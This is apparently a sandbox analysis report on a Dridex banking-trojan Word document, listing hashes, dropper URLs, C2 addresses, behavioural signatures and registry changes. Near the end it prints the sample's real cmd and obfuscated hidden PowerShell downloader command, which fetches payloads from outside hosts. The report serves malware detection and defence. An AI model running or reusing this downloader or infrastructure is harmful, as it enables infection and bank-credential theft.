dridex | 8880aa45619f26fcb4cca6671e7decc6dcf94163344a819a156ed9f5bd414d0b

General

Target

Information-478224510.doc
Size

127KB
MD5

bb0198d56eff259292f821cf9777f4ea
SHA1

67e6018e71d49acecab8018ec3e31388e5afdb09
SHA256

8880aa45619f26fcb4cca6671e7decc6dcf94163344a819a156ed9f5bd414d0b
SHA512

26585f0ae9576b40ff6635b464fa1cc3947e549a45f0648b4b754ef3225bb605ff5dd4926483636c85eed595102a57eacff634bef65e83cbd3dd54e823f1907f

Score

10^/10

dridex 10555 botnet discovery evasion loader trojan

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://wordpress.abbeytek.com/gb9b076.zip

exe.dropper

http://garywhitehead.com/j64cw5.rar

exe.dropper

http://test.taphoare.com/j4r7zap.rar

exe.dropper

http://deepfreedom.org/qz0h69.pdf

exe.dropper

http://forestof.life/gkd9jtb9z.png

exe.dropper

https://rockingrenergy.info/b6exhyx4.zip

exe.dropper

https://aeromiic.com/l8uvw4.pdf

exe.dropper

http://jkra.nl/ce5c6ut.pdf

exe.dropper

https://amazedelectrical.com.au/ff2e84tvk.pdf

Extracted

Family

dridex

Botnet

10555

C2

162.241.44.26:9443

192.232.229.53:4443

77.220.64.34:443

193.90.12.121:3098

rc4.plain

Signatures

Dridex
Dridex(known as Bugat/Cridex) is a form of malware that specializes in stealing bank credentials.
botnet dridex
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.

Processes:

cmd.exe

description pid pid_target process target process

Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 1528 1720 cmd.exe

description	pid	pid_target	process	target process
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1528	1720	cmd.exe

Dridex Loader 1 IoCs

Detects Dridex both x86 and x64 loader in memory.

botnet loader

Processes:

resource	yara_rule
behavioral1/memory/1652-20-0x00000000002A0000-0x00000000002DD000-memory.dmp	dridex_ldr

Blocklisted process makes network request 5 IoCs

Processes:

powershell.exerundll32.exe

flow pid process

6 1484 powershell.exe
8 1652 rundll32.exe
10 1652 rundll32.exe
11 1652 rundll32.exe
12 1652 rundll32.exe
Loads dropped DLL 4 IoCs

Processes:

rundll32.exe

pid process

1652 rundll32.exe
1652 rundll32.exe
1652 rundll32.exe
1652 rundll32.exe
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012
Checks whether UAC is enabled 1 TTPs 1 IoCs
evasion trojan

System Information Discovery
T1082

Processes:

rundll32.exe

description ioc process

Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA rundll32.exe

flow	pid	process
6	1484	powershell.exe
8	1652	rundll32.exe
10	1652	rundll32.exe
11	1652	rundll32.exe
12	1652	rundll32.exe

pid	process
1652	rundll32.exe
1652	rundll32.exe
1652	rundll32.exe
1652	rundll32.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	rundll32.exe

Drops file in System32 directory 1 IoCs

Processes:

powershell.exe

description	ioc	process
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Drops file in Windows directory 1 IoCs

Processes:

WINWORD.EXE

description ioc process

File opened for modification C:\Windows\Debug\WIA\wiatrace.log WINWORD.EXE
Office loads VBA resources, possible macro or embedded object present

description	ioc	process
File opened for modification	C:\Windows\Debug\WIA\wiatrace.log	WINWORD.EXE

Modifies Internet Explorer settings 1 TTPs 9 IoCs

adware spyware

Modify Registry

T1112

Processes:

WINWORD.EXE

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Toolbar	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\ONBttnIE.dll/105"	WINWORD.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\Contexts = "55"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Toolbar\ShowDiscussionButton = "Yes"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\EXCEL.EXE/3000"	WINWORD.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\Contexts = "1"	WINWORD.EXE

Modifies registry class 280 IoCs

Processes:

WINWORD.EXE

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000_CLASSES\Interface\{04598FC7-866C-11CF-AB7C-00AA00C08FCF}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000_CLASSES\Interface\{82B02372-B5BC-11CF-810F-00A0C9030074}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000_CLASSES\Wow6432Node\Interface\{7B020EC8-AF6C-11CE-9F46-00AA00574A4F}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000_CLASSES\Interface\{8BD21D23-EC42-11CE-9E0D-00AA006002F3}\ = "IMdcList"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000_CLASSES\TypeLib\{7D15C9CB-A657-41DF-AC9E-72645D7529C5}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000_CLASSES\TypeLib\{7D15C9CB-A657-41DF-AC9E-72645D7529C5}\2.0	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000_CLASSES\Interface\{8BD21D33-EC42-11CE-9E0D-00AA006002F3}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000_CLASSES\Wow6432Node\Interface\{5512D113-5CC6-11CF-8D67-00AA00BDCE1D}\ = "IWHTMLImage"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000_CLASSES\Interface\{5512D117-5CC6-11CF-8D67-00AA00BDCE1D}\ = "IWHTMLCheckbox"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000_CLASSES\Interface\{5512D123-5CC6-11CF-8D67-00AA00BDCE1D}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000_CLASSES\Wow6432Node\Interface\{5512D125-5CC6-11CF-8D67-00AA00BDCE1D}\ = "IWHTMLTextArea"	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{7D15C9CB-A657-41DF-AC9E-72645D7529C5}\2.0	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000_CLASSES\Interface\{5512D115-5CC6-11CF-8D67-00AA00BDCE1D}\ = "IWHTMLReset"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000_CLASSES\Interface\{5512D119-5CC6-11CF-8D67-00AA00BDCE1D}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000_CLASSES\Interface\{47FF8FE1-6198-11CF-8CE8-00AA006CB389}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000_CLASSES\Wow6432Node\Interface\{47FF8FE5-6198-11CF-8CE8-00AA006CB389}\ = "WHTMLControlEvents6"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000_CLASSES\Wow6432Node\Interface\{4C599243-6926-101B-9992-00000B65C6F9}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000_CLASSES\Wow6432Node\Interface\{8A683C91-BA84-11CF-8110-00A0C9030074}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000_CLASSES\Interface\{5512D11F-5CC6-11CF-8D67-00AA00BDCE1D}\ = "IWHTMLPassword"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000_CLASSES\Interface\{8BD21D32-EC42-11CE-9E0D-00AA006002F3}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000_CLASSES\Wow6432Node\Interface\{4C5992A5-6926-101B-9992-00000B65C6F9}\ = "ImageEvents"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000_CLASSES\TypeLib\{7D15C9CB-A657-41DF-AC9E-72645D7529C5}\2.0\0\win32\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\VBE\\MSForms.exd"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000_CLASSES\Interface\{A38BFFC3-A5A0-11CE-8107-00AA00611080}\ = "Tab"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000_CLASSES\Wow6432Node\Interface\{5512D111-5CC6-11CF-8D67-00AA00BDCE1D}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000_CLASSES\Interface\{47FF8FE1-6198-11CF-8CE8-00AA006CB389}\ = "WHTMLControlEvents2"	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{7D15C9CB-A657-41DF-AC9E-72645D7529C5}\2.0\FLAGS	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000_CLASSES\Interface\{796ED650-5FE9-11CF-8D68-00AA00BDCE1D}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000_CLASSES\Wow6432Node\Interface\{47FF8FE1-6198-11CF-8CE8-00AA006CB389}\ = "WHTMLControlEvents2"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000_CLASSES\Wow6432Node\Interface\{47FF8FE9-6198-11CF-8CE8-00AA006CB389}\ = "WHTMLControlEvents10"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000_CLASSES\Wow6432Node\Interface\{944ACF93-A1E6-11CE-8104-00AA00611080}\ = "Tabs"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000_CLASSES\Wow6432Node\Interface\{EC72F590-F375-11CE-B9E8-00AA006B1A69}\ = "IDataAutoWrapper"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000_CLASSES\Wow6432Node\Interface\{82B02370-B5BC-11CF-810F-00A0C9030074}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000_CLASSES\Interface\{9A4BBF53-4E46-101B-8BBD-00AA003E3B29}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000_CLASSES\Interface\{8BD21D13-EC42-11CE-9E0D-00AA006002F3}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000_CLASSES\Wow6432Node\Interface\{5512D117-5CC6-11CF-8D67-00AA00BDCE1D}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000_CLASSES\Interface\{5512D11F-5CC6-11CF-8D67-00AA00BDCE1D}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000_CLASSES\Interface\{47FF8FE9-6198-11CF-8CE8-00AA006CB389}\ = "WHTMLControlEvents10"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000_CLASSES\TypeLib\{7D15C9CB-A657-41DF-AC9E-72645D7529C5}\2.0\0	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000_CLASSES\Interface\{8BD21D62-EC42-11CE-9E0D-00AA006002F3}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000_CLASSES\Interface\{8BD21D52-EC42-11CE-9E0D-00AA006002F3}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000_CLASSES\Interface\{8BD21D22-EC42-11CE-9E0D-00AA006002F3}\ = "MdcListEvents"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000_CLASSES\Wow6432Node\Interface\{8BD21D52-EC42-11CE-9E0D-00AA006002F3}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000_CLASSES\Interface\{7B020EC2-AF6C-11CE-9F46-00AA00574A4F}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000_CLASSES\Wow6432Node\Interface\{79176FB2-B7F2-11CE-97EF-00AA006D2776}\ = "SpinbuttonEvents"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000_CLASSES\Interface\{4C5992A5-6926-101B-9992-00000B65C6F9}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000_CLASSES\Wow6432Node\Interface\{47FF8FE6-6198-11CF-8CE8-00AA006CB389}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000_CLASSES\Interface\{04598FC3-866C-11CF-AB7C-00AA00C08FCF}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000_CLASSES\Interface\{04598FC1-866C-11CF-AB7C-00AA00C08FCF}\ = "ILabelControl"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000_CLASSES\Wow6432Node\Interface\{8BD21D62-EC42-11CE-9E0D-00AA006002F3}\ = "MdcToggleButtonEvents"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000_CLASSES\Wow6432Node\Interface\{29B86A70-F52E-11CE-9BCE-00AA00608E01}\ = "IOptionFrame"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000_CLASSES\Interface\{7B020EC7-AF6C-11CE-9F46-00AA00574A4F}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000_CLASSES\Interface\{EC72F590-F375-11CE-B9E8-00AA006B1A69}\ = "IDataAutoWrapper"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000_CLASSES\Interface\{7B020EC2-AF6C-11CE-9F46-00AA00574A4F}\ = "ScrollbarEvents"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000_CLASSES\Interface\{47FF8FE0-6198-11CF-8CE8-00AA006CB389}\ = "WHTMLControlEvents1"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000_CLASSES\Interface\{5CEF5613-713D-11CE-80C9-00AA00611080}\ = "IPage"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000_CLASSES\Wow6432Node\Interface\{92E11A03-7358-11CE-80CB-00AA00611080}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000_CLASSES\Wow6432Node\Interface\{8A683C91-BA84-11CF-8110-00A0C9030074}\ = "IReturnEffect"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000_CLASSES\Interface\{8A683C91-BA84-11CF-8110-00A0C9030074}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000_CLASSES\Wow6432Node\Interface\{7B020EC1-AF6C-11CE-9F46-00AA00574A4F}\ = "CommandButtonEvents"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000_CLASSES\TypeLib\{7D15C9CB-A657-41DF-AC9E-72645D7529C5}\2.0\FLAGS	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000_CLASSES\Wow6432Node\Interface\{8BD21D63-EC42-11CE-9E0D-00AA006002F3}\ = "IMdcToggleButton"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000_CLASSES\Wow6432Node\Interface\{5512D115-5CC6-11CF-8D67-00AA00BDCE1D}\ = "IWHTMLReset"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000_CLASSES\Wow6432Node\Interface\{5512D119-5CC6-11CF-8D67-00AA00BDCE1D}	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{7D15C9CB-A657-41DF-AC9E-72645D7529C5}\2.0\0\win32	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

WINWORD.EXE

pid process

484 WINWORD.EXE
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.exe

pid process

1484 powershell.exe
1484 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 1484 powershell.exe
Suspicious use of SetWindowsHookEx 2 IoCs

Processes:

WINWORD.EXE

pid process

484 WINWORD.EXE
484 WINWORD.EXE

pid	process
484	WINWORD.EXE

pid	process
1484	powershell.exe
1484	powershell.exe

description	pid	process
Token: SeDebugPrivilege	1484	powershell.exe

pid	process
484	WINWORD.EXE
484	WINWORD.EXE

Suspicious use of WriteProcessMemory 20 IoCs

Processes:

cmd.exeWINWORD.EXEpowershell.exerundll32.exe

description	pid	process	target process
PID 1528 wrote to memory of 1740	1528	cmd.exe	msg.exe
PID 1528 wrote to memory of 1740	1528	cmd.exe	msg.exe
PID 1528 wrote to memory of 1740	1528	cmd.exe	msg.exe
PID 1528 wrote to memory of 1484	1528	cmd.exe	powershell.exe
PID 1528 wrote to memory of 1484	1528	cmd.exe	powershell.exe
PID 1528 wrote to memory of 1484	1528	cmd.exe	powershell.exe
PID 484 wrote to memory of 1752	484	WINWORD.EXE	splwow64.exe
PID 484 wrote to memory of 1752	484	WINWORD.EXE	splwow64.exe
PID 484 wrote to memory of 1752	484	WINWORD.EXE	splwow64.exe
PID 484 wrote to memory of 1752	484	WINWORD.EXE	splwow64.exe
PID 1484 wrote to memory of 1580	1484	powershell.exe	rundll32.exe
PID 1484 wrote to memory of 1580	1484	powershell.exe	rundll32.exe
PID 1484 wrote to memory of 1580	1484	powershell.exe	rundll32.exe
PID 1580 wrote to memory of 1652	1580	rundll32.exe	rundll32.exe
PID 1580 wrote to memory of 1652	1580	rundll32.exe	rundll32.exe
PID 1580 wrote to memory of 1652	1580	rundll32.exe	rundll32.exe
PID 1580 wrote to memory of 1652	1580	rundll32.exe	rundll32.exe
PID 1580 wrote to memory of 1652	1580	rundll32.exe	rundll32.exe
PID 1580 wrote to memory of 1652	1580	rundll32.exe	rundll32.exe
PID 1580 wrote to memory of 1652	1580	rundll32.exe	rundll32.exe

C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\Information-478224510.doc"
1⤵
- Drops file in Windows directory
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:484

C:\Windows\splwow64.exe
C:\Windows\splwow64.exe 12288
2⤵
PID:1752

C:\Windows\system32\cmd.exe
cmd cmd cmd cmd /c msg %username% /v Word experienced an error trying to open the file. & POwersheLL -w hidden -ENCOD IAAgACQAcgBrAG0ANwA9AFsAVAB5AFAARQBdACgAIgB7ADEAfQB7ADMAfQB7ADAAfQB7ADUAfQB7ADIAfQB7ADQAfQAiAC0ARgAnAE0ALgAnACwAJwBTAHkAcwAnACwAJwBvAC4AJwAsACcAVABlACcALAAnAEQASQByAGUAQwBUAE8AUgBZACcALAAnAGkAJwApACAAOwAgACAAIAAkADYAYQA0ACAAIAA9ACAAIABbAFQAWQBQAEUAXQAoACIAewA1AH0AewA2AH0AewA3AH0AewAwAH0AewAzAH0AewAxAH0AewA0AH0AewAyAH0AIgAgAC0AZgAgACcALgBTAGUAcgBWAGkAJwAsACcAZQBQAE8AaQBuAFQATQAnACwAJwByACcALAAnAGMAJwAsACcAQQBuAGEARwBlACcALAAnAHMAWQBzACcALAAnAHQAZQAnACwAJwBNAC4ATgBFAHQAJwApADsAIAAkAEsAbAAwAGkAZAB3ADQAPQAoACgAJwBLACcAKwAnAF8ANwAnACkAKwAnAHYAJwArACgAJwBjACcAKwAnADcAbQAnACkAKQA7ACQAVAB3AG8ANQB6AHUAYwA9ACQASQByADMAMwBjADMAcAAgACsAIABbAGMAaABhAHIAXQAoADYANAApACAAKwAgACQARgBpADUAZwB5AHYAZgA7ACQAWgBxAHAAbwB2ADUAZwA9ACgAKAAnAEYAJwArACcAaQBiACcAKQArACgAJwBzAG0AaQAnACsAJwBkACcAKQApADsAIAAgACgAIABnAGMASQAgACAAKAAiAHYAIgArACIAYQBSACIAKwAiAEkAYQBiAGwARQA6AHIASwBtADcAIgApACAAIAApAC4AVgBBAGwAdQBFADoAOgAiAGMAcgBlAGEAdABlAEQAYABpAHIAZQBjAFQAYABPAHIAWQAiACgAJABIAE8ATQBFACAAKwAgACgAKAAnAHsAMAB9ACcAKwAoACcAVgAnACsAJwBfAF8AcQByACcAKQArACcAaAA0ACcAKwAnAHsAJwArACcAMAAnACsAJwB9AFQAbwB2ADUAbgBuAHgAJwArACcAewAwAH0AJwApAC0AZgAgACAAWwBjAGgAQQByAF0AOQAyACkAKQA7ACQAQgBxAHMAOAB3ADcANwA9ACgAKAAnAFgANgAnACsAJwBiADcAJwApACsAKAAnADMAeAAnACsAJwBjACcAKQApADsAIAAgACgAIAAgAEkAdABlAG0AIAAgAHYAYQByAGkAYQBiAGwARQA6ADYAYQA0ACkALgB2AGEAbABVAEUAOgA6ACIAUwBgAEUAQwB1AFIASQBUAFkAYABQAHIAYABvAFQATwBgAGMAbwBMACIAIAA9ACAAKAAoACcAVAAnACsAJwBsAHMAJwApACsAJwAxADIAJwApADsAJABWAHIAdwB3AHIAMAB2AD0AKAAoACcASAB1AHYANQAyACcAKwAnADkAJwApACsAJwAyACcAKQA7ACQASQBhAG8AdgB2AGoAbwAgAD0AIAAoACgAJwBEACcAKwAnADkAZQBpAGQAJwApACsAJwBqADQAJwArACcAZAB2ACcAKQA7ACQATQAyADQAbABwAHYAZwA9ACgAKAAnAFIANwAnACsAJwB3ACcAKQArACgAJwByAHAAZAAnACsAJwA2ACcAKQApADsAJABRAGIAawBjADcAMABkAD0AKAAnAFQANgAnACsAJwBzADYAJwArACgAJwAyACcAKwAnAHYAegAnACkAKQA7ACQAUwBvADIAdgAzAGIAaAA9ACQASABPAE0ARQArACgAKAAnAHsAMAAnACsAJwB9AFYAJwArACcAXwAnACsAJwBfAHEAJwArACcAcgBoACcAKwAnADQAewAwAH0AVABvAHYANQAnACsAJwBuAG4AeAB7ADAAfQAnACkAIAAgAC0ARgAgACAAWwBDAGgAQQByAF0AOQAyACkAKwAkAEkAYQBvAHYAdgBqAG8AKwAoACcALgAnACsAKAAnAGQAbAAnACsAJwBsACcAKQApADsAJABCAHoAcgA2AHkAXwBlAD0AKAAnAFIAdQAnACsAJwBqADcAJwArACgAJwBvAHkAJwArACcAcwAnACkAKQA7ACQAUQBxAHEAbABoAGUAOQA9AG4AZQBgAHcALQBgAG8AYABCAEoAZQBjAHQAIABuAGUAdAAuAFcARQBiAGMAbABJAEUAbgBUADsAJABaAHgAaQBrAGoAcwBoAD0AKAAoACgAKAAnAGgAdAB0AHAAJwArACcAOgAnACsAJwBRACkAJwApACkAKwAoACgAJwAoAHEAJwArACcAZAAnACkAKQArACgAKAAnAGQAKQAnACkAKQArACgAKAAnACgAUQApACgAcQAnACsAJwBkAGQAJwApACkAKwAoACgAJwApACcAKwAnACgAdwAnACkAKQArACcAbwByACcAKwAnAGQAJwArACgAJwBwAHIAJwArACcAZQAnACkAKwAoACcAcwAnACsAJwBzAC4AYQBiACcAKwAnAGIAZQB5AHQAZQAnACsAJwBrAC4AJwApACsAJwBjAG8AJwArACcAbQAnACsAKAAoACcAUQApACcAKwAnACgAJwArACcAcQBkAGQAKQAnACkAKQArACgAKAAnACgAZwAnACkAKQArACgAJwBiACcAKwAnADkAYgAnACkAKwAnADAAJwArACgAJwA3ADYALgAnACsAJwB6ACcAKQArACcAaQAnACsAJwBwAEAAJwArACgAJwBoAHQAdAAnACsAJwBwACcAKQArACgAKAAnADoAUQApACgAJwArACcAcQAnACkAKQArACgAKAAnAGQAZAAnACsAJwApACgAUQAnACkAKQArACcAKQAnACsAJwAoACcAKwAoACcAcQBkACcAKwAnAGQAJwApACsAKAAoACcAKQAoACcAKwAnAGcAJwApACkAKwAnAGEAcgAnACsAJwB5ACcAKwAoACcAdwBoAGkAdAAnACsAJwBlACcAKQArACgAKAAnAGgAZQBhACcAKwAnAGQALgBjAG8AbQBRACcAKwAnACkAKAAnACkAKQArACcAcQBkACcAKwAoACgAJwBkACkAJwApACkAKwAoACgAJwAoAGoAJwApACkAKwAoACcANgA0AGMAdwAnACsAJwA1ACcAKQArACcALgByACcAKwAnAGEAcgAnACsAKAAnAEAAJwArACcAaAB0ACcAKQArACgAKAAnAHQAcAA6AFEAJwArACcAKQAoACcAKwAnAHEAZABkACcAKQApACsAKAAoACcAKQAoACcAKQApACsAJwBRACcAKwAnACkAJwArACgAKAAnACgAcQAnACsAJwBkACcAKQApACsAKAAoACcAZAApACcAKwAnACgAdAAnACsAJwBlAHMAdAAnACsAJwAuAHQAYQAnACsAJwBwAGgAbwBhAHIAZQAnACsAJwAuACcAKQApACsAJwBjACcAKwAnAG8AbQAnACsAJwBRACcAKwAnACkAJwArACgAKAAnACgAcQBkACcAKwAnAGQAJwApACkAKwAoACgAJwApACcAKwAnACgAagA0AHIAJwApACkAKwAnADcAJwArACgAJwB6ACcAKwAnAGEAcAAuACcAKQArACcAcgBhACcAKwAnAHIAJwArACcAQABoACcAKwAoACgAJwB0AHQAcAA6AFEAJwArACcAKQAnACkAKQArACcAKAAnACsAKAAoACcAcQBkACcAKwAnAGQAJwArACcAKQAoAFEAJwApACkAKwAoACgAJwApACgAJwApACkAKwAoACgAJwBxACcAKwAnAGQAZAApACgAJwApACkAKwAnAGQAJwArACgAJwBlAGUAcABmACcAKwAnAHIAJwApACsAKAAnAGUAJwArACcAZQBkAG8AJwApACsAKAAoACcAbQAuACcAKwAnAG8AcgBnAFEAJwArACcAKQAnACsAJwAoAHEAZABkACkAKAAnACkAKQArACcAcQAnACsAKAAnAHoAMABoADYAOQAuACcAKwAnAHAAJwApACsAJwBkAGYAJwArACcAQAAnACsAKAAoACcAaAAnACsAJwB0AHQAJwArACcAcAA6ACcAKwAnAFEAKQAoAHEAZABkACcAKQApACsAKAAoACcAKQAoAFEAJwArACcAKQAnACkAKQArACgAKAAnACgAcQAnACsAJwBkAGQAJwApACkAKwAoACgAJwApACcAKwAnACgAZgBvACcAKQApACsAKAAnAHIAJwArACcAZQAnACsAJwBzAHQAbwBmAC4AJwApACsAKAAoACcAbABpAGYAJwArACcAZQBRACkAKAAnACkAKQArACcAcQBkACcAKwAoACgAJwBkACkAJwArACcAKAAnACkAKQArACgAJwBnACcAKwAnAGsAZAA5AGoAJwArACcAdABiADkAJwApACsAKAAnAHoALgBwAG4AJwArACcAZwBAACcAKQArACgAJwBoACcAKwAnAHQAdABwACcAKQArACcAcwA6ACcAKwAoACgAJwBRACcAKwAnACkAKAAnACkAKQArACgAJwBxAGQAJwArACcAZAAnACkAKwAoACgAJwApACgAJwArACcAUQApACcAKQApACsAKAAoACcAKABxACcAKQApACsAKAAoACcAZAAnACsAJwBkACkAJwApACkAKwAoACgAJwAoAHIAJwArACcAbwBjAGsAaQBuACcAKQApACsAJwBnACcAKwAnAHIAJwArACgAJwBlAG4AJwArACcAZQAnACkAKwAoACcAcgAnACsAJwBnAHkALgAnACkAKwAo